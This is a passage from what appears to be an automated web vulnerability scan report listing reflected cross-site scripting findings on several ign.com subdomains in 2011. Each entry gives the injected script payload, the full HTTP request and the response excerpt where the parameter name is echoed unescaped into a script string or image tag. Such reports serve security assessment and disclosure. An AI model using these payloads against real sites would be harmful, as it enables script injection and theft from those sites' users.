Set-Cookie: NGUserID=a016c0a-22919-2088125172-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:54:12 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043652062v-1n-12mc+1297043652062mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 97404

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>IGN Movies Movie T
...[SNIP]...
(typeof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://movies.ign.com/trailers.html?2d377"-alert(1)-"34ba2ac3b55=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.314. http://music.ign.com/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://music.ign.com
Path:	/

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 67efe"-alert(1)-"ed7b4f278a7 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /?67efe"-alert(1)-"ed7b4f278a7=1 HTTP/1.1
Host: music.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:54:08 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c08-485-1878684890-7;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:54:08 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043648864v-1n-12mc+1297043648864mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 121827

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>IGN Music: Intervi
...[SNIP]...
<script>
   if(typeof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://music.ign.com/?67efe"-alert(1)-"ed7b4f278a7=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.315. http://music.ign.com/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://music.ign.com
Path:	/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 59dac"><script>alert(1)</script>a9f1a2cb63 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /?59dac"><script>alert(1)</script>a9f1a2cb63=1 HTTP/1.1
Host: music.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:54:05 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c0a-22919-12681573-4;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:54:05 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043645968v-1n-12mc+1297043645968mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 121802

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>IGN Music: Intervi
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://music.ign.com/?59dac"><script>alert(1)</script>a9f1a2cb63=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.316. http://pc.ign.com/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://pc.ign.com
Path:	/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bb9f7"><script>alert(1)</script>8008868e4 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /?bb9f7"><script>alert(1)</script>8008868e4=1 HTTP/1.1
Host: pc.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:54:47 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:54:47 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c06-15002-1416193118-3;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:54:47 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043687568v-1n-12mc+1297043687568mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 169839

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>PC Games - Cheats,
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://pc.ign.com/?bb9f7"><script>alert(1)</script>8008868e4=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.317. http://pc.ign.com/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://pc.ign.com
Path:	/

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 10223"-alert(1)-"ec047a3d9d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /?10223"-alert(1)-"ec047a3d9d=1 HTTP/1.1
Host: pc.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:54:50 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:54:50 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c03-25644-139458053-5;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:54:49 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043689889v-1n-12mc+1297043689889mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 174354

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>PC Games - Cheats,
...[SNIP]...
<script>
   if(typeof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://pc.ign.com/?10223"-alert(1)-"ec047a3d9d=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.318. http://pc.ign.com/articles/111/1119875p1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://pc.ign.com
Path:	/articles/111/1119875p1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 57a8e"><script>alert(1)</script>f40365d6661 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /articles/111/1119875p1.html?57a8e"><script>alert(1)</script>f40365d6661=1 HTTP/1.1
Host: pc.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:55:16 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:55:16 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c02-24287-457979277-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:55:16 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043716162v-1n-12mc+1297043716162mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 122406

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<base target="_top"></bas
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://pc.ign.com/articles/111/1119875p1.html?57a8e"><script>alert(1)</script>f40365d6661=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.319. http://pc.ign.com/articles/111/1119875p1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://pc.ign.com
Path:	/articles/111/1119875p1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 15edb"-alert(1)-"a01a408cb21 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /articles/111/1119875p1.html?15edb"-alert(1)-"a01a408cb21=1 HTTP/1.1
Host: pc.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:55:18 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:55:18 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c0a-22329-123120368-7;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:55:18 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043718556v-1n-12mc+1297043718556mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 127669

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <base target="_top"></bas
...[SNIP]...
omscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://pc.ign.com/articles/111/1119875p1.html?15edb"-alert(1)-"a01a408cb21=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.320. http://pc.ign.com/articles/113/1137541p1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://pc.ign.com
Path:	/articles/113/1137541p1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 80b63"><script>alert(1)</script>3a3fce5b61 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /articles/113/1137541p1.html?80b63"><script>alert(1)</script>3a3fce5b61=1 HTTP/1.1
Host: pc.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:55:15 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:55:15 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c08-31243-1925820537-3;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:55:15 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043715189v-1n-12mc+1297043715189mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 121407

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<base target="_top"></bas
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://pc.ign.com/articles/113/1137541p1.html?80b63"><script>alert(1)</script>3a3fce5b61=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.321. http://pc.ign.com/articles/113/1137541p1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://pc.ign.com
Path:	/articles/113/1137541p1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 75f08"-alert(1)-"46e4d2add78 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /articles/113/1137541p1.html?75f08"-alert(1)-"46e4d2add78=1 HTTP/1.1
Host: pc.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:55:17 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:55:17 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c04-12684-1126055180-3;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:55:17 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043717549v-1n-12mc+1297043717549mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 124005

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <base target="_top"></bas
...[SNIP]...
omscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://pc.ign.com/articles/113/1137541p1.html?75f08"-alert(1)-"46e4d2add78=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.322. http://pc.ign.com/articles/114/1145020p1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://pc.ign.com
Path:	/articles/114/1145020p1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ce7d1"><script>alert(1)</script>51144aa236a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /articles/114/1145020p1.html?ce7d1"><script>alert(1)</script>51144aa236a=1 HTTP/1.1
Host: pc.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:55:09 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:55:09 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c09-18145-279788590-4;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:55:09 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043709657v-1n-12mc+1297043709657mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 122625

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<base target="_top"></bas
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://pc.ign.com/articles/114/1145020p1.html?ce7d1"><script>alert(1)</script>51144aa236a=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.323. http://pc.ign.com/articles/114/1145020p1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://pc.ign.com
Path:	/articles/114/1145020p1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 9ebe0"-alert(1)-"eb0204226ac was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /articles/114/1145020p1.html?9ebe0"-alert(1)-"eb0204226ac=1 HTTP/1.1
Host: pc.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:55:13 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:55:13 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c08-32430-1696995425-2;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:55:12 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043712827v-1n-12mc+1297043712827mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 122732

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <base target="_top"></bas
...[SNIP]...
omscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://pc.ign.com/articles/114/1145020p1.html?9ebe0"-alert(1)-"eb0204226ac=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.324. http://pc.ign.com/articles/114/1145332p1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://pc.ign.com
Path:	/articles/114/1145332p1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f77e2"-alert(1)-"b571726404e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /articles/114/1145332p1.html?f77e2"-alert(1)-"b571726404e=1 HTTP/1.1
Host: pc.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:55:13 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:55:13 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c03-25644-1394975923-2;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:55:13 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043713397v-1n-12mc+1297043713397mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 122642

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <base target="_top"></bas
...[SNIP]...
omscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://pc.ign.com/articles/114/1145332p1.html?f77e2"-alert(1)-"b571726404e=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.325. http://pc.ign.com/articles/114/1145332p1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://pc.ign.com
Path:	/articles/114/1145332p1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6fe2e"><script>alert(1)</script>99d7449434e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /articles/114/1145332p1.html?6fe2e"><script>alert(1)</script>99d7449434e=1 HTTP/1.1
Host: pc.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:55:10 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:55:10 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c09-19918-838833947-3;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:55:10 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043710576v-1n-12mc+1297043710576mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 122443

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<base target="_top"></bas
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://pc.ign.com/articles/114/1145332p1.html?6fe2e"><script>alert(1)</script>99d7449434e=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.326. http://pc.ign.com/articles/114/1146760p1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://pc.ign.com
Path:	/articles/114/1146760p1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f8d5f"-alert(1)-"30de2b8b4e2 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /articles/114/1146760p1.html?f8d5f"-alert(1)-"30de2b8b4e2=1 HTTP/1.1
Host: pc.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:55:13 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:55:13 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c07-32463-403896618-3;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:55:13 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043713523v-1n-12mc+1297043713523mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 126838

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <base target="_top"></bas
...[SNIP]...
omscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://pc.ign.com/articles/114/1146760p1.html?f8d5f"-alert(1)-"30de2b8b4e2=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.327. http://pc.ign.com/articles/114/1146760p1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://pc.ign.com
Path:	/articles/114/1146760p1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 61490"><script>alert(1)</script>180a7a18a5d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /articles/114/1146760p1.html?61490"><script>alert(1)</script>180a7a18a5d=1 HTTP/1.1
Host: pc.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:55:11 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:55:11 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c0a-22329-1013191440-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:55:11 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043711465v-1n-12mc+1297043711465mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 125989

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<base target="_top"></bas
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://pc.ign.com/articles/114/1146760p1.html?61490"><script>alert(1)</script>180a7a18a5d=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.328. http://pc.ign.com/articles/114/1147797p1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
